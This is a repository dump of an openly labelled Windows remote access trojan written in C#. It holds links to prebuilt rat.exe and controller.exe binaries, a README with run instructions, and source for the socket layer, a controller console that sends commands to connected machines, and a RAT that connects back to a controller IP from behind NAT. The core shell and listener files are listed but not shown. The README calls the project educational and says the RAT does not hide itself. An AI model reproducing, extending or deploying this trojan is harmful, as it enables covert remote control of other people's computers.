├── .gitignore ├── Binaries ├── rat.exe └── controller.exe ├── Company.Tools.RemoteAccessTrojan ├── Domain │ ├── Models │ │ ├── ShellFactory.cs │ │ ├── ListenerFactory.cs │ │ ├── Listener.cs │ │ └── Shell.cs │ └── Seedwork │ │ ├── ConnectionEventArgs.cs │ │ ├── Connection.cs │ │ └── SocketWrapper.cs ├── Infrastructure │ ├── Logging │ │ ├── LoggerFactory.cs │ │ ├── WindowsEventLogger.cs │ │ └── Logger.cs │ └── CrossCutting │ │ ├── Extensions.cs │ │ └── Config.cs ├── Application │ ├── IApplicationService.cs │ ├── ApplicationServiceFactory.cs │ └── ApplicationService.cs ├── Properties │ └── AssemblyInfo.cs └── Company.Tools.RemoteAccessTrojan.csproj ├── Company.Tools.RemoteAccessTrojan.Server ├── App.config ├── Program.cs ├── Terminal.cs ├── Properties │ └── AssemblyInfo.cs └── Company.Tools.RemoteAccessTrojan.Server.csproj ├── Company.Tools.RemoteAccessTrojan.Client ├── App.config ├── Properties │ └── AssemblyInfo.cs ├── Program.cs ├── Terminal.cs └── Company.Tools.RemoteAccessTrojan.Client.csproj ├── README.md └── Company.Tools.RemoteAccessTrojan.sln /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | .DS_Store 3 | -------------------------------------------------------------------------------- /Binaries/rat.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stphivos/rat-shell/HEAD/Binaries/rat.exe -------------------------------------------------------------------------------- /Binaries/controller.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stphivos/rat-shell/HEAD/Binaries/controller.exe -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan/Domain/Models/ShellFactory.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace Company.Tools.RemoteAccessTrojan.Domain.Models 7 | { 8 | public class ShellFactory 9 | { 10 | public Shell Create() 11 | { 12 | var shell = new Shell() 13 | { 14 | }; 15 | return shell; 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan/Domain/Models/ListenerFactory.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace Company.Tools.RemoteAccessTrojan.Domain.Models 7 | { 8 | public class ListenerFactory 9 | { 10 | public Listener Create() 11 | { 12 | var listener = new Listener() 13 | { 14 | }; 15 | return listener; 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan/Domain/Seedwork/ConnectionEventArgs.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace Company.Tools.RemoteAccessTrojan.Domain.Seedwork 7 | { 8 | public class ConnectionEventArgs : EventArgs 9 | { 10 | public Connection Connection { get; private set; } 11 | 12 | public ConnectionEventArgs(Connection connection) 13 | { 14 | this.Connection = connection; 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan/Infrastructure/Logging/LoggerFactory.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using Company.Tools.RemoteAccessTrojan.Infrastructure.CrossCutting; 6 | 7 | namespace Company.Tools.RemoteAccessTrojan.Infrastructure.Logging 8 | { 9 | public class LoggerFactory 10 | { 11 | public Logger Create() 12 | { 13 | var logger = (Logger)Config.Current.LoggerTypeName.GetLocalInstance(); 14 | return logger; 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan/Application/IApplicationService.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using Company.Tools.RemoteAccessTrojan.Domain.Models; 6 | 7 | namespace Company.Tools.RemoteAccessTrojan.Application 8 | { 9 | public interface IApplicationService 10 | { 11 | Listener StartListener(); 12 | void StopListener(Listener listener); 13 | string SendPayload(Listener listener, Guid connectionIdentifier, string request); 14 | void ReachServer(); 15 | } 16 | } -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan/Application/ApplicationServiceFactory.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using Company.Tools.RemoteAccessTrojan.Infrastructure.CrossCutting; 6 | 7 | namespace Company.Tools.RemoteAccessTrojan.Application 8 | { 9 | public class ApplicationServiceFactory 10 | { 11 | public IApplicationService Create() 12 | { 13 | var service = (ApplicationService)Config.Current.ApplicationServiceTypeName.GetLocalInstance(); 14 | return service; 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan/Infrastructure/Logging/WindowsEventLogger.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Diagnostics; 6 | using Company.Tools.RemoteAccessTrojan.Infrastructure.CrossCutting; 7 | 8 | namespace Company.Tools.RemoteAccessTrojan.Infrastructure.Logging 9 | { 10 | public class WindowsEventLogger : Logger 11 | { 12 | public override void WriteEntry(string title, string message, EventLogEntryType type) 13 | { 14 | EventLog.WriteEntry(Config.Current.EventSource, message, type); 15 | } 16 | } 17 | } -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan/Infrastructure/Logging/Logger.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Diagnostics; 6 | 7 | namespace Company.Tools.RemoteAccessTrojan.Infrastructure.Logging 8 | { 9 | public abstract class Logger 10 | { 11 | public void WriteException(Exception ex) 12 | { 13 | this.WriteException(ex, null); 14 | } 15 | 16 | public void WriteException(Exception ex, string title) 17 | { 18 | this.WriteEntry(title, ex.ToString(), EventLogEntryType.Error); 19 | } 20 | 21 | public abstract void WriteEntry(string title, string message, EventLogEntryType type); 22 | } 23 | } -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan.Server/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan.Client/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan/Domain/Seedwork/Connection.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace Company.Tools.RemoteAccessTrojan.Domain.Seedwork 7 | { 8 | public class Connection 9 | { 10 | public const string EOF = ""; 11 | public const string STOP = ""; 12 | public const string EXIT = ""; 13 | 14 | public Guid Identifier { get; set; } 15 | public string Username { get; set; } 16 | 17 | internal static Connection Parse(string data) 18 | { 19 | var connection = new Connection() 20 | { 21 | Identifier = Guid.NewGuid(), 22 | Username = data 23 | }; 24 | return connection; 25 | } 26 | } 27 | } -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan.Server/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using Company.Tools.RemoteAccessTrojan.Application; 6 | using Company.Tools.RemoteAccessTrojan.Infrastructure.CrossCutting; 7 | 8 | namespace Company.Tools.RemoteAccessTrojan.Server 9 | { 10 | class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | using (var terminal = new Terminal()) 15 | { 16 | try 17 | { 18 | Config.Current = Config.Parse(args); 19 | 20 | var service = new ApplicationServiceFactory().Create(); 21 | service.ReachServer(); 22 | } 23 | catch (Exception ex) 24 | { 25 | terminal.WriteError(ex); 26 | } 27 | } 28 | } 29 | } 30 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![Stories in Ready](https://badge.waffle.io/stphivos/rat-shell.png?label=ready&title=Ready)](https://waffle.io/stphivos/rat-shell) 2 | 3 | Windows Remote Access Trojan (RAT) using .NET Sockets 4 | 5 | Client-server binaries and source-code for controlling a remote machine behind a NAT with a command-line shell in Windows. Although the core provides support for communication with multiple RATs, the command-line interface used has limited capabilities distinguishing each one. 6 | 7 | The RAT process executable does not hide itself from taskbar or task manager as it was developed for educational purposes only. Please do not use for any malicious purposes. 8 | 9 | Contains the source code and the two binaries packaged using ILMerge. 10 | 11 | Instructions: 12 | 13 | 1. Start the server in a command-line acting as the RAT (Binaries\rat.exe) -> 14 | rat ip=[controller-ip-address] port=[controller-port-default-is-9999] 15 | 16 | 2. Start the client in a command-line acting as the controller (Binaries\controller.exe) -> 17 | controller ip=[listen-ip-address] port=[listen-port-default-is-9999] 18 | 19 | 3. Issue commands from the controller.exe interface 20 | -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan.Server/Terminal.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading; 6 | 7 | namespace Company.Tools.RemoteAccessTrojan.Server 8 | { 9 | public class Terminal : IDisposable 10 | { 11 | public bool IsStopped { get; set; } 12 | 13 | public void Start(string message) 14 | { 15 | this.WriteOutputLine("{0}", message); 16 | while (!this.IsStopped) 17 | { 18 | Thread.Sleep(100); 19 | } 20 | } 21 | 22 | public void Stop() 23 | { 24 | this.IsStopped = true; 25 | } 26 | 27 | public string RequestInput(string format, params object[] args) 28 | { 29 | this.WriteOutput(format, args); 30 | var input = Console.ReadLine(); 31 | return input; 32 | } 33 | 34 | public void WriteOutput(string format, params object[] args) 35 | { 36 | Console.Write(string.Format(format, args)); 37 | } 38 | 39 | public void WriteOutputLine(string format, params object[] args) 40 | { 41 | this.WriteOutput(format, args); 42 | Console.WriteLine(); 43 | } 44 | 45 | public void WriteError(Exception ex) 46 | { 47 | this.WriteOutputLine("{0}", ex); 48 | } 49 | 50 | public void Dispose() 51 | { 52 | Console.WriteLine("Press any key to exit..."); 53 | Console.Read(); 54 | } 55 | } 56 | } -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Company.Tools.RemoteAccessTrojan")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Company.Tools.RemoteAccessTrojan")] 13 | [assembly: AssemblyCopyright("Copyright © 2015")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("1659d65d-93a8-4bae-97d5-66d738fc6f6c")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan.Client/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Company.Tools.RemoteAccessTrojan.Client")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Company.Tools.RemoteAccessTrojan.Client")] 13 | [assembly: AssemblyCopyright("Copyright © 2015")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("7a15f8f6-6ce2-4ca4-919d-2056b70cc76a")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan.Server/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Company.Tools.RemoteAccessTrojan.Server")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Company.Tools.RemoteAccessTrojan.Server")] 13 | [assembly: AssemblyCopyright("Copyright © 2015")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("7a15f8f6-6ce2-4ca4-919d-2056b70cc76a")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan.Client/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using Company.Tools.RemoteAccessTrojan.Application; 6 | using Company.Tools.RemoteAccessTrojan.Infrastructure.CrossCutting; 7 | using System.Threading; 8 | 9 | namespace Company.Tools.RemoteAccessTrojan.Client 10 | { 11 | class Program 12 | { 13 | static void Main(string[] args) 14 | { 15 | using (var terminal = new Terminal()) 16 | { 17 | try 18 | { 19 | Config.Current = Config.Parse(args); 20 | 21 | var service = new ApplicationServiceFactory().Create(); 22 | var listener = service.StartListener(); 23 | 24 | listener.ConnectionEstablished += (sender, e) => 25 | { 26 | string input; 27 | while ((input = terminal.RequestInput("{0}: ", Environment.UserName)) != "exit") 28 | { 29 | var response = service.SendPayload(listener, e.Connection.Identifier, input); 30 | terminal.WriteOutputLine("{0}: {1}", e.Connection.Username, response); 31 | } 32 | 33 | service.StopListener(listener); 34 | terminal.Stop(); 35 | }; 36 | 37 | terminal.Start("Waiting for connections..."); 38 | } 39 | catch (Exception ex) 40 | { 41 | terminal.WriteError(ex); 42 | } 43 | } 44 | } 45 | } 46 | } -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan.Client/Terminal.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading; 6 | 7 | namespace Company.Tools.RemoteAccessTrojan.Client 8 | { 9 | public class Terminal : IDisposable 10 | { 11 | public bool IsStopped { get; set; } 12 | 13 | public void Start(string message) 14 | { 15 | this.WriteOutputLine("{0}", message); 16 | while (!this.IsStopped) 17 | { 18 | Thread.Sleep(100); 19 | } 20 | } 21 | 22 | public void Stop() 23 | { 24 | this.IsStopped = true; 25 | } 26 | 27 | public string RequestInput(string format, params object[] args) 28 | { 29 | this.WriteOutput(format, args); 30 | var input = Console.ReadLine(); 31 | return input; 32 | } 33 | 34 | public void WriteOutput(string format, params object[] args) 35 | { 36 | Console.Write(string.Format(format, args)); 37 | } 38 | 39 | public void WriteOutputLine(string format, params object[] args) 40 | { 41 | var text = string.Format(format, args); 42 | Console.Write(text); 43 | if (!text.EndsWith(Environment.NewLine)) 44 | { 45 | Console.WriteLine(); 46 | } 47 | } 48 | 49 | public void WriteError(Exception ex) 50 | { 51 | this.WriteOutputLine("{0}", ex); 52 | } 53 | 54 | public void Dispose() 55 | { 56 | Console.WriteLine("Press any key to exit..."); 57 | Console.Read(); 58 | } 59 | } 60 | } -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan/Application/ApplicationService.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using Company.Tools.RemoteAccessTrojan.Infrastructure.Logging; 6 | using Company.Tools.RemoteAccessTrojan.Domain.Models; 7 | 8 | namespace Company.Tools.RemoteAccessTrojan.Application 9 | { 10 | internal class ApplicationService : IApplicationService 11 | { 12 | #region Instances 13 | 14 | private readonly Logger Logger = new LoggerFactory().Create(); 15 | 16 | #endregion 17 | 18 | #region Methods 19 | 20 | #region Exposed 21 | 22 | public Listener StartListener() 23 | { 24 | try 25 | { 26 | var listener = new ListenerFactory().Create(); 27 | listener.Start(); 28 | return listener; 29 | } 30 | catch (Exception ex) 31 | { 32 | this.Logger.WriteException(ex); 33 | throw; 34 | } 35 | } 36 | 37 | public void StopListener(Listener listener) 38 | { 39 | try 40 | { 41 | listener.Stop(); 42 | } 43 | catch (Exception ex) 44 | { 45 | this.Logger.WriteException(ex); 46 | throw; 47 | } 48 | } 49 | 50 | public string SendPayload(Listener listener, Guid connectionIdentifier, string request) 51 | { 52 | try 53 | { 54 | var response = listener.SendPayload(connectionIdentifier, request); 55 | return response; 56 | } 57 | catch (Exception ex) 58 | { 59 | this.Logger.WriteException(ex); 60 | throw; 61 | } 62 | } 63 | 64 | public void ReachServer() 65 | { 66 | try 67 | { 68 | var shell = new ShellFactory().Create(); 69 | shell.ReachServer(); 70 | } 71 | catch (Exception ex) 72 | { 73 | this.Logger.WriteException(ex); 74 | throw; 75 | } 76 | } 77 | 78 | #endregion 79 | 80 | #endregion 81 | } 82 | } -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan/Infrastructure/CrossCutting/Extensions.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace Company.Tools.RemoteAccessTrojan.Infrastructure.CrossCutting 7 | { 8 | public static class Extensions 9 | { 10 | #region Generic 11 | 12 | public static bool IsDefaultValue(this T source) 13 | { 14 | if ((object)source == null) 15 | { 16 | return true; 17 | } 18 | 19 | bool result = default(bool); 20 | T defaultValue = default(T); 21 | 22 | if (typeof(T).IsValueType) 23 | { 24 | result = ValueType.Equals(source, defaultValue); 25 | } 26 | else 27 | { 28 | result = source.Equals(defaultValue); 29 | } 30 | 31 | return result; 32 | } 33 | 34 | public static T ConvertTo(this object source) 35 | { 36 | var result = default(T); 37 | if (typeof(T).IsEnum) result = source.ConvertToEnum(); 38 | else result = (T)Convert.ChangeType(source, typeof(T)); 39 | return result; 40 | } 41 | 42 | public static T ConvertToEnum(this object source) 43 | { 44 | var result = (T)Enum.Parse(typeof(T), source.GetNullSafe()); 45 | return result; 46 | } 47 | 48 | #endregion 49 | 50 | #region String 51 | 52 | public static string GetNullSafe(this object source) 53 | { 54 | if (source == null) return string.Empty; 55 | else return source.ToString(); 56 | } 57 | 58 | public static object GetLocalInstance(this string qualifiedTypeName, params object[] args) 59 | { 60 | var instance = Activator.CreateInstance(Type.GetType(qualifiedTypeName), args); 61 | return instance; 62 | } 63 | 64 | #endregion 65 | 66 | #region Exception 67 | 68 | public static Exception Append(this Exception source, Exception ex) 69 | { 70 | Exception result = null; 71 | if (source == null) 72 | { 73 | result = ex; 74 | } 75 | else 76 | { 77 | result = new AggregateException(ex, source); 78 | } 79 | return result; 80 | } 81 | 82 | #endregion 83 | } 84 | } -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan.Client/Company.Tools.RemoteAccessTrojan.Client.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Debug 5 | x86 6 | 8.0.30703 7 | 2.0 8 | {286BD577-7DB7-43E2-838D-B0BA3775D791} 9 | Exe 10 | Properties 11 | Company.Tools.RemoteAccessTrojan.Client 12 | Company.Tools.RemoteAccessTrojan.Client 13 | v4.0 14 | Client 15 | 512 16 | 17 | 18 | x86 19 | true 20 | full 21 | false 22 | bin\Debug\ 23 | DEBUG;TRACE 24 | prompt 25 | 4 26 | 27 | 28 | x86 29 | pdbonly 30 | true 31 | bin\Release\ 32 | TRACE 33 | prompt 34 | 4 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | {40095B59-0D67-4FCB-BE8E-FA08F4B5EB06} 56 | Company.Tools.RemoteAccessTrojan 57 | 58 | 59 | 60 | 67 | -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan.Server/Company.Tools.RemoteAccessTrojan.Server.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Debug 5 | x86 6 | 8.0.30703 7 | 2.0 8 | {5D6D5868-1ED5-4A92-B412-FC34262541BE} 9 | Exe 10 | Properties 11 | Company.Tools.RemoteAccessTrojan.Server 12 | Company.Tools.RemoteAccessTrojan.Server 13 | v4.0 14 | Client 15 | 512 16 | 17 | 18 | x86 19 | true 20 | full 21 | false 22 | bin\Debug\ 23 | DEBUG;TRACE 24 | prompt 25 | 4 26 | 27 | 28 | x86 29 | pdbonly 30 | true 31 | bin\Release\ 32 | TRACE 33 | prompt 34 | 4 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | {40095B59-0D67-4FCB-BE8E-FA08F4B5EB06} 56 | Company.Tools.RemoteAccessTrojan 57 | 58 | 59 | 60 | 67 | -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan/Domain/Seedwork/SocketWrapper.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Net; 5 | using System.Net.Sockets; 6 | using System.Text; 7 | using System.Threading; 8 | 9 | namespace Company.Tools.RemoteAccessTrojan.Domain.Seedwork 10 | { 11 | public class SocketWrapper 12 | { 13 | #region Instances 14 | 15 | private Socket _socket; 16 | private DateTime _lastWrite; 17 | 18 | #endregion 19 | 20 | #region Methods 21 | 22 | #region Constructors 23 | 24 | public SocketWrapper(Socket socket) 25 | { 26 | this._socket = socket; 27 | } 28 | 29 | #endregion 30 | 31 | #region Exposed 32 | 33 | public void Close(bool notifyOtherEnd = true) 34 | { 35 | if (notifyOtherEnd) this.WriteString(Connection.STOP); 36 | this._socket.Shutdown(SocketShutdown.Both); 37 | this._socket.Close(); 38 | } 39 | 40 | public void Connect(IPEndPoint endpoint) 41 | { 42 | this._socket.Connect(endpoint); 43 | } 44 | 45 | public void Bind(IPEndPoint endpoint) 46 | { 47 | this._socket.Bind(endpoint); 48 | } 49 | 50 | public void Listen(int backlog) 51 | { 52 | this._socket.Listen(backlog); 53 | } 54 | 55 | public SocketWrapper Accept() 56 | { 57 | Socket socket = this._socket.Accept(); 58 | return new SocketWrapper(socket); 59 | } 60 | 61 | public string ReadString() 62 | { 63 | var response = string.Empty; 64 | 65 | while (true) 66 | { 67 | byte[] buffer = new byte[1024]; 68 | int read = this._socket.Receive(buffer); 69 | 70 | response += Encoding.ASCII.GetString(buffer, 0, read); 71 | if (response.IndexOf(Connection.EOF) > -1) 72 | { 73 | break; 74 | } 75 | } 76 | 77 | response = response.Remove(response.IndexOf(Connection.EOF)); 78 | 79 | return response; 80 | } 81 | 82 | public int WriteString(string request, bool isEndOfFile = true) 83 | { 84 | this._lastWrite = DateTime.Now; 85 | byte[] data = Encoding.ASCII.GetBytes(request + (isEndOfFile ? Connection.EOF : string.Empty)); 86 | int sent = this._socket.Send(data); 87 | return sent; 88 | } 89 | 90 | public void WaitForEof(int delay) 91 | { 92 | this._lastWrite = default(DateTime); 93 | while (this._lastWrite == default(DateTime) || DateTime.Now.Subtract(this._lastWrite).TotalMilliseconds < delay) 94 | { 95 | Thread.Sleep(100); 96 | } 97 | this.WriteString(""); 98 | } 99 | 100 | #endregion 101 | 102 | #endregion 103 | } 104 | } -------------------------------------------------------------------------------- /Company.Tools.RemoteAccessTrojan.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 11.00 3 | # Visual Studio 2010 4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Company.Tools.RemoteAccessTrojan", "Company.Tools.RemoteAccessTrojan\Company.Tools.RemoteAccessTrojan.csproj", "{40095B59-0D67-4FCB-BE8E-FA08F4B5EB06}" 5 | EndProject 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Company.Tools.RemoteAccessTrojan.Client", "Company.Tools.RemoteAccessTrojan.Client\Company.Tools.RemoteAccessTrojan.Client.csproj", "{286BD577-7DB7-43E2-838D-B0BA3775D791}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Company.Tools.RemoteAccessTrojan.Server", "Company.Tools.RemoteAccessTrojan.Server\Company.Tools.RemoteAccessTrojan.Server.csproj", "{5D6D5868-1ED5-4A92-B412-FC34262541BE}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|Any CPU = Debug|Any CPU 13 | Debug|Mixed Platforms = Debug|Mixed Platforms 14 | Debug|x86 = Debug|x86 15 | Release|Any CPU = Release|Any CPU 16 | Release|Mixed Platforms = Release|Mixed Platforms 17 | Release|x86 = Release|x86 18 | EndGlobalSection 19 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 20 | {40095B59-0D67-4FCB-BE8E-FA08F4B5EB06}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 21 | {40095B59-0D67-4FCB-BE8E-FA08F4B5EB06}.Debug|Any CPU.Build.0 = Debug|Any CPU 22 | {40095B59-0D67-4FCB-BE8E-FA08F4B5EB06}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU 23 | {40095B59-0D67-4FCB-BE8E-FA08F4B5EB06}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU 24 | {40095B59-0D67-4FCB-BE8E-FA08F4B5EB06}.Debug|x86.ActiveCfg = Debug|Any CPU 25 | {40095B59-0D67-4FCB-BE8E-FA08F4B5EB06}.Release|Any CPU.ActiveCfg = Release|Any CPU 26 | {40095B59-0D67-4FCB-BE8E-FA08F4B5EB06}.Release|Any CPU.Build.0 = Release|Any CPU 27 | {40095B59-0D67-4FCB-BE8E-FA08F4B5EB06}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU 28 | {40095B59-0D67-4FCB-BE8E-FA08F4B5EB06}.Release|Mixed Platforms.Build.0 = Release|Any CPU 29 | {40095B59-0D67-4FCB-BE8E-FA08F4B5EB06}.Release|x86.ActiveCfg = Release|Any CPU 30 | {286BD577-7DB7-43E2-838D-B0BA3775D791}.Debug|Any CPU.ActiveCfg = Debug|x86 31 | {286BD577-7DB7-43E2-838D-B0BA3775D791}.Debug|Mixed Platforms.ActiveCfg = Debug|x86 32 | {286BD577-7DB7-43E2-838D-B0BA3775D791}.Debug|Mixed Platforms.Build.0 = Debug|x86 33 | {286BD577-7DB7-43E2-838D-B0BA3775D791}.Debug|x86.ActiveCfg = Debug|x86 34 | {286BD577-7DB7-43E2-838D-B0BA3775D791}.Debug|x86.Build.0 = Debug|x86 35 | {286BD577-7DB7-43E2-838D-B0BA3775D791}.Release|Any CPU.ActiveCfg = Release|x86 36 | {286BD577-7DB7-43E2-838D-B0BA3775D791}.Release|Mixed Platforms.ActiveCfg = Release|x86 37 | {286BD577-7DB7-43E2-838D-B0BA3775D791}.Release|Mixed Platforms.Build.0 = Release|x86 38 | {286BD577-7DB7-43E2-838D-B0BA3775D791}.Release|x86.ActiveCfg = Release|x86 39 | {286BD577-7DB7-43E2-838D-B0BA3775D791}.Release|x86.Build.0 = Release|x86 40 | {5D6D5868-1ED5-4A92-B412-FC34262541BE}.Debug|Any CPU.ActiveCfg = Debug|x86 41 | {5D6D5868-1ED5-4A92-B412-FC34262541BE}.Debug|Mixed Platforms.ActiveCfg = Debug|x86 42 | {5D6D5868-1ED5-4A92-B412-FC34262541BE}.Debug|Mixed Platforms.Build.0 = Debug|x86 43 | {5D6D5868-1ED5-4A92-B412-FC34262541BE}.Debug|x86.ActiveCfg = Debug|x86 44 | 